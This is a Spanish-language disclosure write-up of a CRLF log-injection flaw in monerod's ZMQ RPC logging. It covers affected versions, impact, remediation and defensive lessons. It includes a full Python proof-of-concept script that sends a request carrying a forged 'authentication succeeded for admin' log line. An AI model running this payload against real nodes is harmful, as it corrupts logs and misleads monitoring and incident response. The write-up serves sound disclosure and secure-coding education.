Resumen
monerod, el demonio de la CLI de Monero, expone una interfaz RPC sobre ZeroMQ (ZMQ). Al recibir una petición por esa vía, el manejador la escribía tal cual en el log antes de comprobar si era válida. La línea responsable, en src/rpc/daemon_handler.cpp, es esta:
MDEBUG("Handling RPC request: " << request);
Como el contenido no se escapa, cualquiera que pueda hablar con el endpoint ZMQ puede meter saltos de línea y caracteres de control en el log del nodo. El resultado es una inyección CRLF en los registros: el atacante puede partir una línea en varias y hacer que parte de su texto parezca una entrada legítima del demonio.
Datos del reporte:
- Rutas de código afectadas:
src/rpc/zmq_server.cppysrc/rpc/daemon_handler.cpp. - Origen: el commit
77986023c3("json serialization for rpc-relevant monero types"), que añadió el registro del cuerpo crudo de las peticiones. - Primera versión afectada: v0.12.0.0. Según el investigador, el fallo está en todas las versiones publicadas desde entonces (v0.12.0.0 a v0.12.4.0, v0.13.0.2 a v0.13.0.4, v0.14.0.0 a v0.14.1.2, v0.15.0.0 a v0.15.0.5, v0.16.0.0 a v0.16.0.3, v0.17.0.0 a v0.17.3.2 y v0.18.0.0 a v0.18.4.6) y en
mastera 22 de marzo de 2026. - Plataformas: todas (Linux, Windows y macOS), porque el código RPC y de logging es común.
- Severidad asignada: media. Debilidad: inyección CRLF.
- Enviado el 22 de marzo de 2026 y divulgado el 24 de julio de 2026, con estado "resuelto".
Pasos de reproducción
- Arrancar
monerodcon la RPC ZMQ accesible desde la máquina de pruebas y con el registro de las trazas de peticiones activado (el mensaje usaMDEBUG, de nivel de depuración). - Instalar la dependencia del PoC (
pip install pyzmq) y lanzarlo contra el puerto ZMQ:
``bash python poc_zmq_log_injection.py --target 127.0.0.1:18082 ``
- Abrir el log del demonio y buscar
ATTACKER_MARKER_BEGIN,ATTACKER_MARKER_ENDy la línea falsa inyectada (FORGED_LOG_LINE: authentication succeeded for admin).
El PoC completo que adjuntó el investigador abre un socket REQ, se conecta a tcp://<objetivo> y envía una llamada get_info con un parámetro extra, note, que lleva los marcadores y la línea inventada. Después espera la respuesta (5 segundos como máximo por defecto) y la imprime:
#!/usr/bin/env python3
"""
PoC: ZMQ RPC request-body log injection / payload logging in monerod.
Authorized testing only.
Usage:
python poc_zmq_log_injection.py --target 127.0.0.1:18082
"""
import argparse
import sys
try:
import zmq
except ImportError:
print("[!] Missing dependency: pyzmq")
print(" Install with: pip install pyzmq")
sys.exit(1)
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="host:port of ZMQ RPC, e.g. 127.0.0.1:18082")
ap.add_argument("--timeout-ms", type=int, default=5000)
args = ap.parse_args()
endpoint = f"tcp://{args.target}"
payload = (
'{"jsonrpc":"2.0","id":1,"method":"get_info","params":{"note":"ATTACKER_MARKER_BEGIN\\n'
'FORGED_LOG_LINE: authentication succeeded for admin\\n'
'ATTACKER_MARKER_END"}}'
)
print(f"[*] Connecting to {endpoint}")
print("[*] Sending crafted payload with newline markers")
ctx = zmq.Context()
sock = ctx.socket(zmq.REQ)
sock.setsockopt(zmq.RCVTIMEO, args.timeout_ms)
sock.setsockopt(zmq.SNDTIMEO, args.timeout_ms)
try:
sock.connect(endpoint)
sock.send_string(payload)
reply = sock.recv_string()
print("[+] Server response received:")
print(reply)
except zmq.error.Again:
print("[!] Timeout waiting for response")
return 2
finally:
sock.close(0)
ctx.term()
print("\n[*] Next step: inspect daemon log for ATTACKER_MARKER strings and injected formatting")
return 0
if __name__ == "__main__":
sys.exit(main())
Un detalle técnico al leer el PoC: en Python, '\\n' produce los dos caracteres \ y n, es decir, la secuencia de escape de JSON y no un salto de línea real. Como el log escribe la petición cruda, para partir de verdad la línea en el registro hay que enviar bytes de salto de línea (o retorno de carro) reales en el mensaje ZMQ, algo posible porque el registro se hace antes de validar el JSON. El reporte original no incluye un extracto del log con el resultado.
Impacto
El investigador describe cuatro consecuencias:
- Logs que ya no son fiables: con los delimitadores adecuados se pueden fabricar líneas adicionales que alteran lo que entiende quien lee el registro.
- Detección degradada: si los logs alimentan un SIEM o reglas de alerta, los fragmentos controlados por el atacante pueden procesarse como eventos legítimos.
- Investigaciones confusas: durante la respuesta a un incidente, las entradas falsas pueden despistar al reconstruir qué pasó y cuándo.
- Mayor exposición en despliegues gestionados: el riesgo crece cuando la RPC ZMQ es accesible por red y el registro detallado está activado.
Remediación
El reporte figura como resuelto, pero no explica qué cambio se aplicó en el código. Las medidas que proponía el investigador eran:
- No registrar por defecto el cuerpo crudo de peticiones que llegan de fuera.
- Registrar en su lugar metadatos: método, ID de la petición, tamaño y resultado.
- Escapar o limpiar los caracteres de control antes de escribirlos en el log.
- Dejar el registro del cuerpo completo detrás de una opción explícita, solo para depuración.
Qué aprender de este caso
- Busca trazas del tipo
"Handling request: " << cuerpoen los manejadores RPC y en los consumidores de colas de mensajes (ZMQ, sockets propios, workers). Suelen escribirse al principio del manejador, antes de cualquier validación, y casi nunca escapan lo que registran. - Un parámetro que el método no usa, como
noteen una llamada aget_info, puede bastar para llevar el texto del atacante al log. No hace falta que la petición sea útil, solo que se registre. - Al probarlo, fíjate en si envías un salto de línea real o solo la secuencia
\nescapada: en un log que vuelca el mensaje crudo, la diferencia decide si la línea se parte o no. - Al programar, registra campos concretos y ya validados (método, ID, tamaño) en vez del mensaje entero. Si necesitas el cuerpo para depurar, escapa
\r,\ny los demás caracteres de control, o usa un formato estructurado (JSON por línea) que los serialice.